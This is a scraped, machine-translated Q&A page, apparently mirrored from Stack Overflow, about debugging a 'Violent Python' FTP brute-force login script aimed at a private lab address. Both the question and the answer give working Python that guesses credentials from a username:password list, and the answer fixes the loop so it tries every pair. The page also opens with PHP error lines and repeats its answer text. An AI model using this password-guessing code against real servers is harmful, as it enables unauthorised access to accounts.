Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/295.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python-通过异常传递?_Python_Ftp - Fatal编程技术网

Python-通过异常传递?

Python-通过异常传递?,python,ftp,Python,Ftp,下面是暴力Python书籍中的代码。这就是我在这里所做的,测试FTP的蛮力: import ftplib def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('

下面是暴力Python书籍中的代码。这就是我在这里所做的,测试FTP的蛮力:

import ftplib

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print("[+] Trying: "+userName+"/"+passWord) 
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print('\n[*] ' + str(hostname) +\
            ' FTP Logon Succeeded: '+userName+"/"+passWord) 
            ftp.quit()
            return (userName, passWord)
        except Exception as e: 
            pass
        print('\n[-] Could not brute force FTP credentials.') 
    return (None, None)

host = '192.168.95.179'
passwdFile = 'C:/Users/Andrew/Documents/Python Stuff/userpass.txt' 
bruteLogin(host, passwdFile) 
使用“userpass.txt”示例,包括:

administrator:password
admin:12345
root:secret
guest:guest
root:root 
运行时(顺便说一下,我使用的是Python 3.4),它应该返回以下结果:

[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
当然,上面是成功登录的一个例子。当实际运行它时,它返回“找不到暴力FTP凭据”,但似乎只尝试文本文件的第一行,而不是像书中所描述的那样通过异常并尝试其他行。有什么想法吗

只有在循环完成后,才能打印“找不到…”行。您当前的代码在每次迭代中都会这样做,因此如果第一次尝试没有成功,那么它已经被打印出来了

此外,如果您使
try
块尽可能短,并且捕获的异常尽可能具体,那么就更容易对异常进行推理。这减少了处理异常的情况数量,并允许所有其他无关异常爆炸并变得可见,从而帮助您在不希望引发异常的地方调试代码。您的代码可能如下所示:

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    ftp = ftplib.FTP(hostname)  # reuse the connection

    for line in pF.readlines():
        userName, passWord = line.split(':', 1)  # split only once, the pw may contain a :
        passWord = passWord.strip('\r\n')  # strip any of the two characters
        print("[+] Trying: {}/{}".format(userName, passWord))

        try:
            ftp.login(userName, passWord)
        except ftplib.error_perm:
            continue
        else:
            print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord)) 
            ftp.quit()
            return userName, passWord

    print('\n[-] Could not brute force FTP credentials.') 
    return None, None
只有在循环完成后,才能打印“找不到…”行。您当前的代码在每次迭代中都会这样做,因此如果第一次尝试没有成功,那么它已经被打印出来了

此外,如果您使
try
块尽可能短,并且捕获的异常尽可能具体,那么就更容易对异常进行推理。这减少了处理异常的情况数量,并允许所有其他无关异常爆炸并变得可见,从而帮助您在不希望引发异常的地方调试代码。您的代码可能如下所示:

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')
    ftp = ftplib.FTP(hostname)  # reuse the connection

    for line in pF.readlines():
        userName, passWord = line.split(':', 1)  # split only once, the pw may contain a :
        passWord = passWord.strip('\r\n')  # strip any of the two characters
        print("[+] Trying: {}/{}".format(userName, passWord))

        try:
            ftp.login(userName, passWord)
        except ftplib.error_perm:
            continue
        else:
            print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord)) 
            ftp.quit()
            return userName, passWord

    print('\n[-] Could not brute force FTP credentials.') 
    return None, None

太好了,非常感谢。现在,在尝试执行代码时,我遇到一个错误“[WinError 10061]无法建立连接,因为目标计算机主动拒绝了它。”我以前使用的代码没有出现这种情况。从技术上讲,这是因为您不再捕获此异常。如果您确定它确实意味着凭据无效,则可以将其添加到
except
子句中,或者您可以得出其他错误的结论并以不同的方式进行处理,例如,退出循环时会显示一条关于服务器不合作的消息。这里的内容取决于您的用例,但这就是为什么我提倡捕捉特定的异常:只有这样,您才有机会做出这种区分。非常好,非常感谢。现在,在尝试执行代码时,我遇到一个错误“[WinError 10061]无法建立连接,因为目标计算机主动拒绝了它。”我以前使用的代码没有出现这种情况。从技术上讲,这是因为您不再捕获此异常。如果您确定它确实意味着凭据无效,则可以将其添加到
except
子句中,或者您可以得出其他错误的结论并以不同的方式进行处理,例如,退出循环时会显示一条关于服务器不合作的消息。这里的内容取决于您的用例,但这就是为什么我提倡捕捉特定的异常:只有这样,您才有机会做出这种区分。